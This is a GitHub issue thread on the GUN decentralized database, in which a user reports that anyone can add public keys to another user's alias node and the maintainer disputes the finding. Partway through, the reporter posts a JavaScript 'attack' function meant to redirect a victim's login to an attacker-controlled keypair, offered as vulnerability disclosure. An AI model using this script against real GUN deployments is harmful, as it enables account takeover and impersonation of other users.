amark / gun

An open source cybersecurity protocol for syncing decentralized graph data.
https://gun.eco/docs
Other
18.05k stars 1.16k forks source link

Unsafe to get user's public key from alias #1193

Closed phantomlsh closed 2 years ago

phantomlsh commented 2 years ago

From the document I have read that we can get one user's public key from its alias by

gun.get('~@alias').once(data => console.log(data))

which should give us

{
  '_': {},
  '~publicKey': { '#': '~publicKey' }
}

However, the alias node can be modifed by anyone without a check in signature. For example:

gun.user().create('username', 'password') // create an arbitrary new user
gun.get('~@alias').set(gun.user())
gun.get('~@alias').once(data => console.log(data))

Now the alias node becomes

{
  '_': {},
  '~publicKey': { '#': '~publicKey' },
  '~anotherPublicKey': { '#': '~anotherPublicKey' }
}

which implies any attacker can make fake public keys into any alias node.

Is there a way to prevent this? Or would it be better to verify signature when modify the alias node, just as modifying the publicKey node?

phantomlsh commented 2 years ago

I think it seems to be more serious than getting the wrong public key from the alias. It affects the gun.user().auth() as well. For example:

// a normal signup
gun.user().create('user1', 'password')
console.log(gun.user().is)
// {
//   pub: 'h3UqD7xW0xQS4Bug1Y8XUkK8zCsFQOZNMAeL-7054O4.T5pxnnojZJqgZC7biJrtBnptXT-K37tHosZpjGcDfeM',
//   epub: 'koFhqFRIXnEcSO7DzbftpJCHs2nNu47igEyuYsRLGf0.fr79DWOnpDI_lwUYioYg45JPmN6aQU3NuXq6byoTz80',
//   alias: 'user1'
// }

Now refresh the page and make sure the new gun instance is not logged in.

// attacker
console.log(gun.user().is) // undefined
gun.user().create('attacker', 'password')
console.log(gun.user().is)
// {
//   pub: 'V--E_5rcKeHOrhO2G1ilBFphQ_Xikv4zOTWNXNw-ad0.Yhk_hLqr3BVgTYN0JSlHoqI7QvskAC2kdbY6kSMpWBk',
//   epub: '4L5AzVmhNAEKAxIBGx4yNaToRnrojiGtUC3bzi5DBFw.YO7pCtvDsYbNU5IlyXALOv7PoBmQNrwkLM2Qfl9qR48', 
//   alias: 'attacker'
// }
gun.get('~@user1').set(gun.user())

Refresh the page again,

// user signin later
console.log(gun.user().is) // undefined
gun.user().auth('user1', 'password')
console.log(gun.user().is)
// {
//   pub: 'V--E_5rcKeHOrhO2G1ilBFphQ_Xikv4zOTWNXNw-ad0.Yhk_hLqr3BVgTYN0JSlHoqI7QvskAC2kdbY6kSMpWBk',
//   epub: '4L5AzVmhNAEKAxIBGx4yNaToRnrojiGtUC3bzi5DBFw.YO7pCtvDsYbNU5IlyXALOv7PoBmQNrwkLM2Qfl9qR48',
//   alias: 'user1'
// }

You can see that, although the alias is the correct alias, the public key is the attacker's public key!

phantomlsh commented 2 years ago

As advised by honorable developers in Gitter chat, further discussion of this issue might go into direct contact with maintainers.

amark commented 2 years ago

Hey @phantomlsh , thanks for the concern, I replied on chat too, that docs state:

https://gun.eco/docs/User#unexpected-behavior

Docs warn that username/aliases are NOT globally unique. Don't use it as such. Hopefully this will resolve your concern.

And note: You used the same password. So of course it logged in. Correct, if an attacker knows your password, they can attack your account (this is true all/even centralized systems too). Try with different passwords and you'll see login doesn't work.

You exploited yourself, not the login system.

The only purpose of the alias/username is to support web2-like login. Assuming that the alias is unique is incorrect according to the docs and yes could result in bad things for your app, but you discover pretty quickly that alias/usernames aren't unique during development, as its basically impossible to ship an app with that incorrect assumption.

Though please, people frequently ask about why usernames are not globally unique, so it is better to remind people in more places that they are not unique - feel free to edit the wiki (the docs) to remind people about this though.

phantomlsh commented 2 years ago

As also demonstrated in the chat, here I make it easier to reproduce:

  1. you can create any user with any alias/password you like, and drop down its public key for later comparison.
  2. on another device (or you can refresh page/clean cache), you can use the following function. (Make sure you connected to the same relay peers)
    async function attack (alias) {
    const aliasNode = await gun.get('~@' + alias).once().then()
    delete aliasNode._
    const targetPub = Object.keys(aliasNode)[0].substring(1)
    console.log(`${alias}'s original public key is ` + targetPub)
    const targetAuth = await new Promise(r => gun.user(targetPub).get('auth').once(r))
    const attackPassword = 'WHATEVER I DONT CARE!'
    let newPub = '~', attackAlias = ''
    while (newPub > targetPub) {
    attackAlias = Math.random().toString(36).substring(2)
    await new Promise(r => gun.user().create(attackAlias, attackPassword, r))
    newPub = gun.user().is.pub
    }
    const pair = await new Promise(r => gun.user().auth(attackAlias, attackPassword, r)).then(r => r.sea)
    gun.user().get('auth').put(targetAuth)
    gun.get('~@' + alias).set(gun.user())
    console.log(`Cheers! Now ${alias} would log into your new public key, and the key pairs info is following:`, pair)
    }
    attack('aliasYouJustCreated')

    Wait until it cheers.

  3. Now you can refresh page/clean localStorage, and try to log into the user you created in step 1. Sometimes it takes some trials to sync data from the peer. After successful login, compare your current public key with what you got in step 1.

Note that the attack function does NOT require your password.

My Example

each picture is a console after a refresh and clean of localStorage

image

image

image

amark commented 2 years ago

You keep saying the attack does not require the same password, but all your code & examples do.

As scientific replicable proof this doesn't work, just click & try https://jsbin.com/nididosavo/edit?js,console

phantomlsh commented 2 years ago

I got tired to explain this. Note, the three pictures in the example, first and third belong to the USER while only the second one belongs to the attacker. You can verify that the attacker does not use the user's password.

In your demo you just create users. But note in my attack function, I also copy the auth data targetAuth from the user. That's why your example is not working.

phantomlsh commented 2 years ago

Here is the latest attack method with demo:

https://jsbin.com/hazamojifo/1/edit?js,console

amark commented 2 years ago

Now you're not logging out of your own account and scrambling it, again you're attacking your own logged in account.

Science shows you are wrong: https://jsbin.com/nididosavo/edit?js,console .